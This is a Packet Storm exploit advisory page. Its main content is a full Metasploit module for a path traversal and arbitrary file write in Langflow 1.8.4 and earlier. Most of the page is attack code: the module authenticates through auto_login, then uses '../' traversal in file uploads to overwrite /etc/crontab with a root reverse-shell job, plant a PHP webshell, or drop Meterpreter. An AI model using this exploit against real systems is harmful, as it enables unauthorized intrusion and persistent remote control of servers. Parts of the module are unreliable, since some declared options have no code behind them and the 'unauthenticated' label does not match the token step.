PACKETSTORM 8.8 HIGH

📄 Langflow 1.8.4 Traversal / Remote Code Execution_PACKETSTORM:219697

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

This Metasploit module targets a path traversal vulnerability in Langflow versions 1.8.4 and below that allows attackers to write arbitrary files on the system through the /api/v2/files endpoint...
Visit Original Source

Basic Information

ID PACKETSTORM:219697
Published Apr 23, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Langflow ≤ 1.8.4 Path Traversal Leading to Unauthenticated Remote Code Execution Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.langflow.org/ |
==================================================================================================================================

[+] Summary : This Metasploit module targets a path traversal vulnerability in Langflow (≤ 1.8.4) that allows attackers to write arbitrary files on the system through the /api/v2/files endpoint.


[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow Path Traversal to Unauthenticated RCE',
'Description' => %q{
Langflow <= 1.8.4 contains an arbitrary file write vulnerability via path traversal
in the POST /api/v2/files endpoint.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-5027'],
['CWE', '22']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Cron Job (Reverse Shell)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cron_reverse,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Cron Job (Bind Shell)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cron_bind,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/bind_bash'
}
}
],
[
'Webshell (PHP)',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :webshell_php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper (Meterpreter)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-04-19'
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path for Langflow installation', '/']),
OptString.new('USERNAME', [false, 'Username', '']),
OptString.new('PASSWORD', [false, 'Password', '']),
OptEnum.new('WRITE_METHOD', [
true,
'Method',
'cron',
['cron', 'ssh_keys', 'webshell', 'systemd']
]),
OptString.new('SSH_PATH', [false, 'SSH path', '/root/.ssh/authorized_keys']),
OptString.new('WEBSHELL_PATH', [false, 'Web path', '/app/static/shell.php']),
OptString.new('PUBLIC_KEY', [false, 'SSH key', ''])
])

register_advanced_options([
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 9]),
OptInt.new('CRON_WAIT', [true, 'Wait time', 60])
])
end

def setup
@base_uri = normalize_uri(target_uri.path)
@traversal = '../' * datastore['TRAVERSAL_DEPTH']
@token = nil
end

def check
print_status("Checking Langflow...")

res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v1', 'auto_login'),
'method' => 'GET'
})

if res && res.code == 200
begin
json = JSON.parse(res.body)
if json['access_token']
print_good("Auto-login enabled")
return Exploit::CheckCode::Vulnerable
end
rescue
end
end

Exploit::CheckCode::Unknown
end

def authenticate
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v1', 'auto_login'),
'method' => 'GET'
})

if res && res.code == 200
begin
json = JSON.parse(res.body)
@token = json['access_token'] if json['access_token']
return true if @token
rescue
end
end

fail_with(Failure::NoAccess, 'No token')
end

def write_file(remote_path, content)
filename = @traversal + remote_path.sub(/^\//, '')

data = Rex::MIME::Message.new
data.add_part(content, 'application/octet-stream', nil,
"form-data; name=\"file\"; filename=\"#{filename}\"")

res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v2', 'files'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'headers' => { 'Authorization' => "Bearer #{@token}" }
})

return (res && (res.code == 200 || res.code == 201))
end

def exploit_cron_reverse(payload_content)
cron_content = <<~CRON
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root #{payload_content}
CRON

write_file('/etc/crontab', cron_content)
end

def exploit_webshell_php(payload_content)
webshell_path = datastore['WEBSHELL_PATH']
php = "<?php #{payload_content} ?>"

if write_file(webshell_path, php)
register_file_for_cleanup(webshell_path)
print_good("Webshell written")
end
end

def exploit_linux_dropper
webshell = '/tmp/langflow.php'
content = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'

if write_file(webshell, content)
@stager = normalize_uri(@base_uri, webshell)
execute_cmdstager({ 'background' => true })
end
end

def exploit
print_status("Exploiting Langflow")

authenticate

case target['Type']
when :cron_reverse
exploit_cron_reverse(payload.encoded)
when :webshell_php
exploit_webshell_php(payload.encoded)
when :linux_dropper
exploit_linux_dropper
end

print_status("Done")
handler if target['Type'] != :webshell_php
end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.